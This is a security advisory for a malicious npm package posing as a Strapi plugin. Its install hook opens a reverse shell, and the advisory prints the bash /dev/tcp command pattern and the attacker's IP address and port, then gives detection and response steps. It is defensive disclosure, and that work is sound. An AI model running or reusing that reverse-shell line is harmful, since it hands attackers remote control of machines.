strapi-plugin-sucresh-meebnpm
Advisory published Updated
strapi-plugin-sucresh-meeb is a confirmed malicious npm package (MAL-2026-16189) that opens a backdoor for remote access (malicious version 3.6.8). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in strapi-plugin-sucresh-meeb (npm)
What this malware does
[email protected] declares a postinstall lifecycle hook (node postinstall.js) that runs automatically on npm install. The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (bash -i > /dev/tcp/<host>/<port> 0>&1) connecting to the hardcoded remote endpoint 14.225.210.85:443. This gives the operator of that endpoint interactive shell control on the installing host at install time, with no authentication or user interaction. The package name mimics a Strapi plugin but the shipped code's install-time behavior is unauthenticated remote code execution against the installer.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for strapi-plugin-sucresh-meeb (version 3.6.8).
If you installed it — respond
strapi-plugin-sucresh-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If strapi-plugin-sucresh-meeb was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Detect & block this
O3 blocks strapi-plugin-sucresh-meeb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.